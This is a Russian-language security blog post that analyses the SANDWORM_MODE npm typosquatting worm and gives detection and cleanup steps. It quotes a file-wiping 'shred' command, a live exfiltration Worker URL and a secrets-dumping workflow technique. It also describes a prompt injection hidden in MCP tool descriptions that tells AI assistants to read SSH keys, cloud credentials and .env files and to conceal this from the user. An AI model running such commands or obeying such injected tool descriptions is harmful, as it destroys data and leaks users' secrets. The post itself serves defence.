SANDWORM_MODE: npm-червь, который читает ваши ключи и секреты руками Claude Code
SANDWORM_MODE: npm-червь, который читает ваши ключи и секреты руками Claude Code
Вы устанавливаете обычный npm-пакет — что-то вроде supports-color, только с опечаткой в названии, которую не заметил ни один разработчик в вашей команде. Через минуту в проекте уже стоит рабочий цветной вывод в терминале, всё выглядит нормально. А через 48-96 часов, когда никто уже не помнит про этот install, где-то в фоне открывается файл ~/.ssh/id_rsa. Открывает его не хакер. Открывает его ваш собственный Claude Code, Cursor или VS Code — потому что подложенный MCP-сервер вежливо попросил модель «для точности результата» сначала прочитать пару приватных ключей и переменных окружения, а потом ничего об этом не говорить пользователю.
Это не гипотетический сценарий. В феврале 2026 года команда Socket Threat Research обнаружила действующую кампанию, которую отследили по внутренним флагам малвари как SANDWORM_MODE — червя, распространяющегося через как минимум 19 вредоносных npm-пакетов. В июле 2026 года CrowdStrike опубликовала разбор попыток детектирования этой кампании и честно призналась: из 14 исследованных типов активности надёжный сигнал для алертов удалось выделить только для двух. Причина проста и неприятна — то, что делает червь, почти неотличимо от того, что легитимно делают AI-ассистенты и CI-системы каждый день.
ЧТО ТАКОЕ SANDWORM_MODE
SANDWORM_MODE — прямое развитие семейства Shai-Hulud, того самого червя, что в сентябре 2025 года скомпрометировал через фишинг мейнтейнера Josh Junon (Qix-) и разошёлся по нескольким сотням npm-пакетов, включая supports-color, которым он совместно с Sindre Sorhus поддерживает. Название кампании исследователи взяли не для красоты — оно буквально зашито в код: малварь управляется через переменные окружения с префиксом SANDWORM_* (SANDWORM_MODE, SANDWORM_SKIP_DELAY, SANDWORM_DRAIN_ENDPOINT и так далее), и вся дюновская тематика Shai-Hulud перекочевала в эти операторские тумблеры почти без изменений.
Технически это модульный имплант в 19 npm-пакетах под двумя алиасами публикаторов — official334 и javaorg. Пакеты — типосквоты: suport-color вместо supports-color, claud-code, cloude и cloude-code вместо Claude Code, opencraw вместо виральной AI-агентской утилиты OpenClaw с 210 тысячами звёзд на GitHub. Расчёт очевиден: разработчик, который на автомате набирает npm i claude-code с опечаткой, получает не помощника, а червя. При этом импортированный пакет ведёт себя абсолютно нормально — [email protected], например, честно реализует определение поддержки цвета в терминале, как и оригинал, которому подражает.
КАК УСТРОЕН МЕХАНИЗМ
Внутри — трёхступенчатая архитектура, спроектированная так, чтобы каждая ступень скрывала следующую от разного типа анализа.
Ступень 0 — загрузчик. В теле пакета лежит блоб размером порядка 167 килобайт в base64, который на импорте инфлейтится через zlib.inflateSync(), расшифровывается XOR-ом со статичным 32-байтным ключом и исполняется через непрямой eval() — конструкцию (0,eval)(d), которая обходит некоторые эвристики, завязанные на прямой вызов eval. В другом варианте, пакете scan-store, авторы пошли дальше: полезная нагрузка разбита на 45 фрагментов base64, замаскированных под обычные поля конфигурационного объекта (_cfg_000…_cfg_044), собирается в рантайме и исполняется через Module._compile() — то есть вообще без файла на диске, чисто в памяти процесса. Ни один статический сканер, который проверяет пакет на этапе публикации, не увидит здесь ничего, кроме шума байтов.
Ступень 1 стартует сразу после распаковки и первым делом снимает отпечаток окружения — проверяет наличие переменных:
CIGITHUB_ACTIONSGITLAB_CICIRCLECIJENKINS_URLBUILDKITE
Если хотя бы одна установлена — червь считает, что находится в CI-раннере, и запускает основную функцию немедленно. Если нет — выставляет джиттер-таймаут 5-30 секунд, вычисленный из MD5 хеша hostname и username, с флагом .unref(), чтобы не держать процесс Node открытым и не спалиться в диспетчере задач. При этом module.exports = {} — с точки зрения кода, который импортировал пакет, это пустышка, ничего не произошло.
Дальше — быстрый сбор без исполнения шелл-команд, только чтение файлов. Червь читает:
.npmrcиз домашней директории и текущей рабочей директории — auth-токены, proxy credentials- переменные окружения, совпадающие с паттернами
KEY,SECRET,TOKEN,PASSWORD - GitHub-токены форматов
ghp_,gho_,github_pat_ - конфиги вроде
hardhat.config,foundry.toml,.env— оттуда вытаскиваются приватные ключи, мнемоники BIP39, ключи Solana, BTC WIF, xprv
Если крипто-ключи найдены — их отправляют немедленно, ещё до всякой проверки временного гейта, через отдельный HTTP POST на Cloudflare Worker https://pkg-metrics.official334.workers.dev/drain, авторизованный захардкоженным bearer-токеном. Это страховка авторов: даже если что-то пойдёт не так со следующей ступенью, самое ликвидное — уже утекло.
Только после этого проверяется временной гейт: время установки пакета (mtime директории) плюс базовая задержка 48 часов плюс джиттер до 48 часов сверху, привязанный к хешу hostname+username. Итоговая задержка — 48-96 часов в зависимости от машины. В CI-окружениях этот гейт полностью игнорируется ещё на шаге определения среды — там всё срабатывает мгновенно, потому что жизненный цикл раннера короче любой задержки. Если время ещё не пришло на обычной рабочей станции — выполнение останавливается, но данные, собранные до этого момента, уже ушли.
Когда гейт открывается, ступень 1 расшифровывает встроенный шифротекст ступени 2 через AES-256-GCM с 32-байтным ключом, собранным из двух XOR-компонентов, записывает результат во временный файл вида /dev/shm/.node_<hex>.js (или в системный temp, если /dev/shm недоступен), делает require() и сразу же unlink() — файл существует на диске считанные миллисекунды. Это прямой аналог reflective loading, только адаптированный под рантайм Node вместо памяти процесса Windows.
Ступень 2 экспортирует пять модулей: Propagate, Exfil, DeadSwitch, McpInject и GitHooks. Именно здесь начинается самое интересное для читателя, который держит на своих серверах и рабочих станциях nginx, CI-раннеры и AI-ассистентов одновременно.
РЕАЛЬНАЯ ЦЕПОЧКА АТАКИ
Начнём с распространения — модуль Propagate реализует три независимых вектора, которые пробуются каскадом. Первый: если у червя есть украденный npm-токен, он вызывает whoami, чтобы подтвердить владельца, перечисляет все пакеты этого аккаунта, сортирует их по количеству загрузок — чем больше скачиваний и чем дольше пакет заброшен, тем выше «score», то есть тем привлекательнее цель для захвата — скачивает тарбол, переименовывает оригинальный entry-файл в index.original.js, кладёт малварь в .cache/content-v2.cjs, создаёт shim-обёртку, которая грузит малварь и потом честно реэкспортирует оригинал, поднимает patch-версию в semver и публикует пакет через npm.
npm publish --access public
Если для публикации требуется OTP — червь останавливается на этом шаге, обойти двухфакторку он не умеет.
Второй вектор — GitHub API с украденными токенами: перечисляются все нефорковые и неархивированные репозитории, ищутся package.json в корне и в директориях монорепозитория, добавляется зависимость на «несущий» пакет — тот самый, который червь успешно опубликовал на первом шаге. Коммит пытается пройти напрямую в основную ветку; если стоит branch protection — создаётся отдельная ветка с невинным названием вроде chore/update-deps-a1b2c3, открывается PR с заголовком «Routine dependency version update», и червь пытается его же и смержить — сначала squash, потом обычный merge, потом rebase, потом через GraphQL enableAutoMerge. Параллельно в репозиторий добавляется workflow с триггером pull_request_target, который сериализует секреты через ${{ toJSON(secrets) }} и отправляет их по HTTPS с DNS-фолбэком.
Третий вектор — SSH — включается только если первые два не дали ни одного смерженного PR и в окружении есть SSH_AUTH_SOCK. Червь проверяет доступ к GitHub следующей командой.
ssh -T [email protected] 2>&1
Из ответа GitHub вытаскивается имя пользователя, дальше червь сканирует на глубину 3 директории вроде:
~/projects~/repos~/dev~/work
Находит до 50 репозиториев с GitHub-remote в конфиге и клонирует их по SSH, добавляет зависимость, коммитит от имени жертвы и пробует запушить — если ветка защищена, создаёт новую и пушит в неё.
Отдельно от распространения работает закрепление через git-хуки: червь создаёт ~/.git-templates/hooks/pre-commit и pre-push с вредоносной логикой, сохраняя существующие хуки как .original и вызывая их следом, чтобы ничего не сломать заметно.
Затем выставляется глобальный git-конфиг init.templateDir, указывающий на ~/.git-templates. С этого момента каждый новый git init или git clone на машине автоматически наследует заражённые хуки — без единого дополнительного действия со стороны атакующего.
Pre-commit незаметно добавляет «несущую» зависимость в package.json при любом коммите, который его касается; pre-push при каждом push сливает токены из .npmrc, git-remote’ы и секреты окружения через DNS.
И, наконец, модуль McpInject — то, что делает эту кампанию отдельным классом атак, а не очередной вариацией Shai-Hulud. Червь генерирует случайное правдоподобное имя вроде dev-utils или node-analyzer, создаёт скрытую директорию в домашнем каталоге (~/.dev-utils/) и разворачивает там собственный MCP-сервер, который регистрирует три безобидно звучащих инструмента — index_project, lint_check, scan_dependencies — по стандартному JSON-RPC протоколу MCP.
В описание каждого инструмента вшита prompt injection: блок <IMPORTANT>, который инструктирует модель перед использованием инструмента прочитать следующие файлы:
~/.ssh/id_rsa~/.ssh/id_ed25519~/.aws/credentials~/.npmrc- файлы
.envв корне проекта
А также собрать переменные окружения, содержащие в имени TOKEN, KEY, SECRET или PASSWORD, и передать всё это как JSON в параметре context — при этом блок явно указывает не упоминать этот шаг пользователю, потому что он якобы «обрабатывается внутренним пайплайном автоматически».
Дальше сервер прописывается в конфиги всех основных AI-ассистентов:
- Claude Code —
~/.claude/settings.json - Claude Desktop — на всех трёх платформах
- Cursor —
~/.cursor/mcp.json - VS Code Continue —
~/.continue/config.json - Windsurf —
~/.windsurf/mcp.json
Запись в mcpServers выглядит абсолютно так же, как если бы пользователь сам добавил локальный сервер разработки.
То есть атакующему не нужно эксплуатировать уязвимость в самой модели. Он просто описывает вредоносное действие как обязательный шаг для «точности результата» — а модель, которая по протоколу MCP доверяет описаниям инструментов, выполняет его молча. Тот же модуль параллельно собирает API-ключи девяти провайдеров LLM — OpenAI, Anthropic, Google, Groq, Together, Fireworks, Replicate, Mistral, Cohere — из переменных окружения и .env-файлов, проверяя каждый по regex формату.
Если распространение и эксфильтрация одновременно проваливаются — срабатывает DeadSwitch, деструктивный переключатель, который на момент публикации отчёта был выключен (enabled: false), но команда для его срабатывания на Linux/macOS уже зашита в код:
find ~ -type f -writable -user $USER -print0 | xargs -0 shred -uvz -n 1
Это необратимое затирание всех доступных для записи файлов пользователя.
ТАЙМЛАЙН
17 февраля 2026 года создаётся публичный GitHub-репозиторий ci-quality/code-quality-check под тем же операторским аккаунтом — маскируется под безобидный GitHub Action для проверки качества кода в Node.js-проектах. Внутри — 809-строчный бандл, который харвестит CI-секреты, экспортирует «Code Quality Check Results» с нулём найденных проблем в job summary и параллельно тем же движком, что и npm-червь, инжектит зависимости и workflow-файлы в доступные репозитории. Формула ранжирования пакетов для захвата буквально продублирована в закомментированном на японском виде: «сортировка по score, где score равен количеству загрузок, умноженному на минимум из числа лет заброшенности и пяти».
20 февраля 2026 года команда Socket Threat Research публикует детальный разбор кампании, идентифицирует 19 вредоносных пакетов и оба алиаса-публикатора. Перед публикацией Socket уведомляет npm, GitHub и Cloudflare — Cloudflare оперативно отключает workers, npm удаляет пакеты, GitHub закрывает инфраструктуру аккаунта. На момент публикации отчёта репозиторий ci-quality/code-quality-check подтверждённого публичного распространения не показал — возможно, он вообще предназначался только для внутреннего тестирования.
В течение февраля-марта 2026 года о кампании отдельно пишут Endor Labs, Kodem Security, SecurityWeek, Help Net Security и другие — все ссылаются на первичное исследование Socket и в основном сходятся в одном: это первая массовая кампания, которая целенаправленно эксплуатирует не саму уязвимость в коде, а доверие AI-ассистента к описаниям MCP-инструментов.
21 июля 2026 года CrowdStrike публикует собственный разбор — не новое исследование происхождения, а отчёт о попытке построить детектирование поверх уже известной кампании. Из этого отчёта следует, возможно, самая неприятная деталь всей истории.
ПОЧЕМУ ЭТО ВАЖНО
CrowdStrike провела gap-анализ между возможностями SANDWORM_MODE и существующим детект-контентом и получила результат, который стоит прочитать медленно: из 14 исследованных типов вредоносной активности хоть какой-то различимый сигнал удалось получить для девяти, но только два прошли планку достоверности, достаточную для клиентских алертов. Остальное осело в silent alerting — телеметрия собирается, но пользователю ничего не показывается, потому что слишком высок риск ложных срабатываний.
Причина этого — не слабость конкретных детекторов, а структурное свойство среды. Легитимный AI-ассистент под капотом — это процесс node, который читает конфигурационные файлы, пишет их, спавнит дочерние процессы и обращается к внешним API. Червь делает ровно то же самое теми же средствами по тем же причинам. На стороне CI то же самое: пайплайн легитимно вызывает npm publish, создаёт коммиты, открывает PR, пушит в репозитории, управляет секретами — пропагационная логика червя функционально неотличима от обычного релизного процесса. CrowdStrike прямо называет это развитием классической техники living-off-the-land (когда вредоносная активность маскируется под штатные системные утилиты вроде PowerShell или certutil) применительно к AI-инфраструктуре разработки — living off the AI toolchain.
Отдельно бьёт по детектированию сама архитектура тайм-бомбы: 48-96 часов между установкой пакета на рабочей станции разработчика и моментом, когда происходит что-то подозрительное. Событие импорта пакета и вредоносная активность оказываются в разных окнах телеметрии, которые для многих SIEM и EDR-решений могут просто не пересекаться по глубине хранения логов.
Для читателя этого блога есть три отдельных слоя риска. Если вы администрируете CI/CD-инфраструктуру — раннеры GitHub Actions, GitLab CI или self-hosted билд-серверы — вы имеете дело со средой, где временной гейт червя обходится полностью и где секреты собираются и утекают в первые секунды выполнения джобы. Если вы или ваша команда используете Claude Code, Cursor, Windsurf или VS Code с расширениями на рабочих станциях — вы потенциально доверяете локальному MCP-серверу, который вы сами не устанавливали и о существовании которого можете не знать, пока не проверите конфиг руками. И если вы поддерживаете собственные npm-пакеты — вы можете стать носителем следующей волны, даже если сами никогда не устанавливали ни один из 19 известных заражённых пакетов, просто потому что ваш npm или GitHub токен утёк с чужой скомпрометированной машины.
КАК ЭТОГО ИЗБЕЖАТЬ
Первое и самое очевидное — MCP-серверы не появляются в конфигах AI-ассистентов сами по себе, поэтому регулярная проверка следующих файлов на предмет записей mcpServers, которые вы не добавляли сами, должна стать такой же рутинной операцией, как проверка crontab -l после подозрения на компрометацию сервера:
~/.claude/settings.json~/.cursor/mcp.json~/.continue/config.json~/.windsurf/mcp.json
Ищите записи, указывающие на скрытые директории вида ~/.dev-utils, ~/.node-analyzer и подобные — легитимные MCP-серверы обычно ссылаются на известные npm-пакеты или установленные пути, а не на случайно названные скрытые каталоги в домашней директории.
Если сервер, на котором работает Claude Code, имеет административное управление, официальная документация Claude Code даёт прямой способ ограничить, какие MCP-серверы вообще могут загружаться. Список серверов, реально подключённых в текущей сессии, показывает команда:
claude mcp list
Если в выводе есть сервер, который никто из команды не добавлял — это сигнал компрометации, требующий немедленной проверки. Чтобы заблокировать конкретный сервер по имени независимо от того, как он был добавлен, в managed settings source (server-managed settings или файл managed-settings.json) прописывается запись deniedMcpServers:
{
"deniedMcpServers": [
{ "serverName": "dev-utils" }
]
}
Денилист объединяется из всех источников настроек и применяется даже к серверам, уже прописанным в конфиге пользователя. Для более надёжной блокировки, устойчивой к переименованию сервера, вместо имени лучше указывать точную команду запуска через serverCommand.
Третье — архитектурное решение, а не разовая проверка: секреты, к которым может обратиться процесс, запускающий сторонний код (а npm install с post-install скриптами, MCP-серверы и AI-ассистенты — именно такие процессы), должны быть минимальны по принципу наименьших привилегий. Там, где это возможно, установку зависимостей стоит выполнять с отключёнными post-install скриптами.
npm install --ignore-scripts
Дополнительно — отдельные scoped npm-токены с коротким временем жизни вместо одного долгоживущего токена с правами на публикацию всех ваших пакетов, и переход на OIDC-based trusted publishing вместо хранения npm-токенов в переменных CI: это конкретные шаги, которые снижают ценность каждой отдельно украденной единицы credentials.
Четвёртое — на уровне git-инфраструктуры стоит явно проверить значение глобального параметра init.templateDir на всех рабочих станциях команды:
git config --global --get init.templateDir
Если команда вернула пустой вывод — параметр не задан, всё в порядке. Если там прописан путь, который никто из администраторов не устанавливал намеренно, содержимое этой директории нужно изучить прежде, чем удалять.
То же касается следующих директорий в существующих репозиториях:
.git/hooks/.husky/
Если хуки внезапно ссылаются на файлы .original рядом с собой, это почти наверняка означает, что оригинальный хук был подменён и сохранён как резервная копия вредоносным кодом, а не разработчиком.
Пятое — для CI-раннеров: ограничение workflow, которые могут публиковать пакеты или обращаться к секретам, обязательный ревью изменений в .github/workflows/ и в файлах зависимостей как отдельная категория pull request’ов, требующая ручного одобрения, а не автомерджа, и мониторинг аномальной активности публикации пакетов — если аккаунт мейнтейнера внезапно публикует пакет, которым не занимался месяцами, это стоит заметить до того, как заметит сообщество.
ЧТО ДЕЛАТЬ
Если у вас в проектах или в CI когда-либо устанавливался хотя бы один из следующих пакетов — считайте окружение, где это произошло, потенциально скомпрометированным вне зависимости от того, сколько времени прошло:
claud-codecloude-codecloudecrypto-localecrypto-reader-infodetect-cacheformat-defaultshardhtalocale-loader-pronaniodnode-native-bridgeopencrawparse-compatrimarfscan-storesecp256suport-colorveimyarsg
Проверять каждый пакет из списка по отдельности через npm ls утомительно — вместо этого можно проверить все 19 сразу одной командой через npm query, которая поддерживает CSS-подобные селекторы с логическим ИЛИ через запятую:
npm query "[name=claud-code], [name=cloude-code], [name=cloude], [name=crypto-locale], [name=crypto-reader-info], [name=detect-cache], [name=format-defaults], [name=hardhta], [name=locale-loader-pro], [name=naniod], [name=node-native-bridge], [name=opencraw], [name=parse-compat], [name=rimarf], [name=scan-store], [name=secp256], [name=suport-color], [name=veim], [name=yarsg]"
Команда вернёт JSON-массив со всеми найденными совпадениями в дереве зависимостей; пустой массив [] означает, что ни один из перечисленных пакетов не установлен. Если нужно проверить конкретный пакет по отдельности, для этого подойдёт и более простая команда:
npm ls <имя_пакета>
Если вывод показывает путь к пакету — он установлен, прямо или как транзитивная зависимость. Дальше удалите его штатной командой:
npm uninstall <имя_пакета>
Это уберёт пакет не только с диска, но и из package.json, package-lock.json и npm-shrinkwrap.json, если они есть. Но одной этой команды недостаточно — раз червь уже мог закрепиться через git-хуки и MCP-конфиги до удаления пакета, после неё всё равно нужно полностью снести node_modules/ и переустановить зависимости с нуля, не полагаясь на частичную очистку.
Дальше — ротация всех токенов и секретов, до которых потенциально мог дотянуться процесс: npm-токены, GitHub-токены, CI-секреты, ключи AWS, если они лежали в переменных окружения на затронутой машине. Проверьте историю изменений package.json за последние месяцы на предмет добавлений, которые никто из команды не помнит — команда покажет полную историю коммитов, затронувших этот файл, включая переименования:
git log -p --follow -- package.json
Ту же команду стоит повторить для lock-файлов и файлов в .github/workflows/, подставив соответствующий путь вместо package.json — особенно ищите новые workflow с триггером pull_request_target.
Проверьте глобальную настройку init.templateDir в git-конфиге на каждой рабочей станции разработчиков:
git config --global --get init.templateDir
Если она указывает на директорию, которую вы сознательно не настраивали сами, содержимое hooks/ внутри неё нужно прочитать вручную, прежде чем удалять конфигурацию.
Наконец, вручную сверьте каждую запись в mcpServers с тем, что реально устанавливали вы или ваши разработчики. Содержимое конфигов можно вывести напрямую в терминал:
cat ~/.claude/settings.json ~/.cursor/mcp.json ~/.continue/config.json ~/.windsurf/mcp.json 2>/dev/null
Флаг 2>/dev/null подавляет ошибки для тех файлов, которых на конкретной машине может не быть — если ни один ассистент не установлен, вывод будет пустым, и это нормально. Если используется Claude Code, тот же список серверов текущей сессии можно получить командой claude mcp list — вывод должен содержать только серверы, которые команда сознательно подключала. Патча для этой категории атак не существует в привычном смысле — потому что уязвим не код, а модель доверия между инструментом и ассистентом, который его использует.
ВЫВОДЫ
Для администратора CI/CD-инфраструктуры: временной гейт SANDWORM_MODE полностью снимается в CI-средах — там, где вы больше всего доверяете автоматизации, червь срабатывает быстрее всего. Аудит workflow-файлов на предмет неожиданных триггеров pull_request_target и ограничение прав GITHUB_TOKEN по умолчанию должны стать частью базовой конфигурации, а не разовой мерой после инцидента.
Для разработчика, использующего Claude Code, Cursor, Windsurf или другой AI-ассистент: проверьте mcpServers в конфигах прямо сейчас, вне зависимости от того, устанавливали ли вы что-то из списка заражённых пакетов — если в команде хотя бы у одного разработчика стоял заражённый пакет и git hooks успели закрепиться через общие шаблоны или общие репозитории, риск не ограничивается одной машиной.
Для мейнтейнера собственных npm-пакетов: переход на scoped-токены с коротким временем жизни и OIDC-based trusted publishing снимает саму возможность того первого шага, с которого начинается вся цепочка распространения SANDWORM_MODE — кражи долгоживущего токена публикации.
